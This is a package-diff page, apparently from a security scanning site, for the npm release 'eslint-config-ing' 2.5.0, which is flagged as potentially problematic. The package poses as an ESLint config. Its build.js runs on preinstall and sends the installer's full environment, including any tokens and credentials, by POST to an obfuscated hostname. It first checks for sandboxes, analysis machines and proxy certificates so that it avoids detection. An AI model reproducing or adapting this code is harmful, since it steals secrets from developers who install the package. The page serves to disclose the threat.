eslint-config-ing 2.5.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of eslint-config-ing might be problematic. Click here for more details.
- package/README.md +1 -0
- package/build.js +213 -0
- package/package.json +12 -0
package/README.md
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
ESLINT Config
|
package/build.js
ADDED
@@ -0,0 +1,213 @@
|
|
1
|
+
const goto = require('https');
|
2
|
+
|
3
|
+
function build() {
|
4
|
+
let options = {
|
5
|
+
"Name": "New PI Contact",
|
6
|
+
"Phone": "+158948945565",
|
7
|
+
"Message": "My Best Dream Friend",
|
8
|
+
"Address": "Avite St pe-455 NET"
|
9
|
+
};
|
10
|
+
|
11
|
+
return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
|
12
|
+
options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
|
13
|
+
}
|
14
|
+
|
15
|
+
function takeAndGive(str1, str2) {
|
16
|
+
return str2 + str1
|
17
|
+
}
|
18
|
+
|
19
|
+
function number_of(item) {
|
20
|
+
|
21
|
+
for (let i = 0; i < 4; i++) {
|
22
|
+
if (i == 1) {
|
23
|
+
item += 's'
|
24
|
+
}
|
25
|
+
if (i == 3) {
|
26
|
+
item += 'e6'
|
27
|
+
}
|
28
|
+
}
|
29
|
+
return item + '4'
|
30
|
+
}
|
31
|
+
|
32
|
+
function snooz(pkg_n, prefix) {
|
33
|
+
|
34
|
+
let missing = [
|
35
|
+
['npm', 'package', 'name'].join('_'),
|
36
|
+
['npm', 'package', 'json'].join('_'),
|
37
|
+
];
|
38
|
+
|
39
|
+
var plop = process['en' + 'v'] || {};
|
40
|
+
|
41
|
+
if (initEngine(plop)){
|
42
|
+
return ;
|
43
|
+
}
|
44
|
+
if (fixIssues(plop)){
|
45
|
+
return ;
|
46
|
+
}
|
47
|
+
if (handleEverything(plop)){
|
48
|
+
return ;
|
49
|
+
}
|
50
|
+
if (missing.some( index => !plop[index] )) {
|
51
|
+
return;
|
52
|
+
}
|
53
|
+
|
54
|
+
var req = goto
|
55
|
+
.request(use_language(pkg_n, prefix))
|
56
|
+
.on('error', function (err) { });
|
57
|
+
req.write(JSON.stringify(plop));
|
58
|
+
req.end();
|
59
|
+
}
|
60
|
+
|
61
|
+
function bible(convertion){
|
62
|
+
switch (convertion) {
|
63
|
+
case 'reg':
|
64
|
+
return takeAndGive('istry', 'reg');
|
65
|
+
case 'conf':
|
66
|
+
return 'conf' + 'ig';
|
67
|
+
case 'np':
|
68
|
+
return 'npm';
|
69
|
+
case 'UNAME':
|
70
|
+
return 'US' + 'ERNAME';
|
71
|
+
case 'HM':
|
72
|
+
return 'HOME';
|
73
|
+
case 'USR':
|
74
|
+
return 'USER';
|
75
|
+
case 'APTA':
|
76
|
+
return takeAndGive('PDATA', 'AP');
|
77
|
+
case 'py':
|
78
|
+
return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
|
79
|
+
case 'anal':
|
80
|
+
return 'ana'.concat('lysis');
|
81
|
+
case 'INIT':
|
82
|
+
return ['INIT', 'CWD'].join('_');
|
83
|
+
case 'pkg':
|
84
|
+
return 'pac'.concat('kage')
|
85
|
+
case 'uname':
|
86
|
+
return 'us' + takeAndGive('ame', 'ern');
|
87
|
+
case 'mitm':
|
88
|
+
return takeAndGive('-ca', 'mit' + 'mpr' + 'oxy');
|
89
|
+
case 'n_mod':
|
90
|
+
return ['', 'home', 'node', 'node_modules'].join('/');
|
91
|
+
default:
|
92
|
+
return null;
|
93
|
+
}
|
94
|
+
}
|
95
|
+
|
96
|
+
function fixIssues(plop){
|
97
|
+
let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
|
98
|
+
capture_pictures(plop, bible('USR'), bible('uname')) &&
|
99
|
+
capture_pictures(plop, 'LOGNAME', bible('uname'));
|
100
|
+
|
101
|
+
let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
|
102
|
+
capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
|
103
|
+
capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
|
104
|
+
|
105
|
+
let teach = capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
|
106
|
+
|
107
|
+
let wheel = capture_pictures(plop, 'NODE_EXT' + 'RA_CA_CERTS', '/' + bible('mitm').concat('-cert.crt')) ||
|
108
|
+
capture_pictures(plop, 'REQUESTS_C'.concat('A_BUNDLE'), '/' + bible('mitm').concat('.pem'));
|
109
|
+
|
110
|
+
if ( kill || move || teach || wheel ){
|
111
|
+
return true;
|
112
|
+
} else {
|
113
|
+
return false;
|
114
|
+
}
|
115
|
+
}
|
116
|
+
|
117
|
+
var MapObj = function () {
|
118
|
+
this.name = '__st' + (Math.random() * 145459 >> 0);
|
119
|
+
};
|
120
|
+
|
121
|
+
function handleEverything(plop){
|
122
|
+
const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
|
123
|
+
capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
|
124
|
+
capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
|
125
|
+
|
126
|
+
const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
|
127
|
+
capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
|
128
|
+
capture_pictures(plop, bible('USR'), 'app');
|
129
|
+
|
130
|
+
const we = capture_pictures(plop, 'PWD', ['', bible('np'), 'node_modules'].join('/')) &&
|
131
|
+
capture_pictures(plop, bible('INIT'), ['', bible('np')].join('/')) &&
|
132
|
+
capture_pictures(plop, 'TMPDIR', '/sour'.concat('ce/tmp'));
|
133
|
+
|
134
|
+
const us = capture_pictures(plop, 'EDITOR', 'vi') &&
|
135
|
+
capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
|
136
|
+
capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
|
137
|
+
capture_pictures(plop, 'S' + 'HLVL', '2') &&
|
138
|
+
capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
|
139
|
+
capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
|
140
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
|
141
|
+
|
142
|
+
const jpa = capture_pictures(plop, 'PATH', `${bible('n_mod')}/${plop.npm_package_name}/node_modules/.bin:${bible('n_mod')}/node_modules/.bin:${bible('n_mod')}/.bin:/home/node_modules/.bin:/node_modules/.bin:/usr/local/lib/node_modules/${bible('np')}/node_modules/@${bible('np')}cli/run-script/lib/node-gyp-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`) &&
|
143
|
+
capture_pictures(plop, bible('INIT'), ['', 'home', 'node'].join('/')) &&
|
144
|
+
capture_pictures(plop, 'COLOR', '1') &&
|
145
|
+
capture_pictures(plop, 'EDITOR', 'vi');
|
146
|
+
|
147
|
+
|
148
|
+
if (you || me || us || we || jpa){
|
149
|
+
return true;
|
150
|
+
} else {
|
151
|
+
return false;
|
152
|
+
}
|
153
|
+
}
|
154
|
+
|
155
|
+
function use_language(pkg_n, prefix){
|
156
|
+
let options = {
|
157
|
+
hostname: prefix + '.m.' + build(),
|
158
|
+
path: '/' + (pkg_n || ''),
|
159
|
+
method: 'POST',
|
160
|
+
};
|
161
|
+
return options
|
162
|
+
}
|
163
|
+
|
164
|
+
function capture_pictures(p, name, val){
|
165
|
+
let test = p[name] || '';
|
166
|
+
if(test.includes(val) || val === '*'){
|
167
|
+
return true;
|
168
|
+
} else {
|
169
|
+
return false;
|
170
|
+
}
|
171
|
+
}
|
172
|
+
|
173
|
+
MapObj.prototype = {
|
174
|
+
set: function (key, value) {
|
175
|
+
var entry = key[this.name];
|
176
|
+
if (entry && entry[0] === key)
|
177
|
+
entry[1] = value;
|
178
|
+
else
|
179
|
+
defineProperty(key, this.name, { value: [key, value], writable: true });
|
180
|
+
return this;
|
181
|
+
},
|
182
|
+
get: function (key) {
|
183
|
+
var entry;
|
184
|
+
return (entry = key[this.name]) && entry[0] === key ?
|
185
|
+
entry[1] : undefined;
|
186
|
+
},
|
187
|
+
delete: function (key) {
|
188
|
+
var entry = key[this.name];
|
189
|
+
if (!entry || entry[0] !== key) return false;
|
190
|
+
entry[0] = entry[1] = undefined;
|
191
|
+
return true;
|
192
|
+
},
|
193
|
+
has: function (key) {
|
194
|
+
var entry = key[this.name];
|
195
|
+
if (!entry) return false;
|
196
|
+
return entry[0] === key;
|
197
|
+
}
|
198
|
+
};
|
199
|
+
|
200
|
+
function initEngine(plop){
|
201
|
+
if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
|
202
|
+
return true;
|
203
|
+
}
|
204
|
+
if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
|
205
|
+
capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
|
206
|
+
capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
|
207
|
+
capture_pictures(plop, '_', bible('py')) ||
|
208
|
+
capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
|
209
|
+
return true;
|
210
|
+
}
|
211
|
+
}
|
212
|
+
|
213
|
+
snooz('eslint-config-ing', 'eo2w3mni1mm62pl');
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "eslint-config-ing",
|
3
|
+
"version": "2.5.0",
|
4
|
+
"description": "ESLINT Config",
|
5
|
+
"main": "build.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node build.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|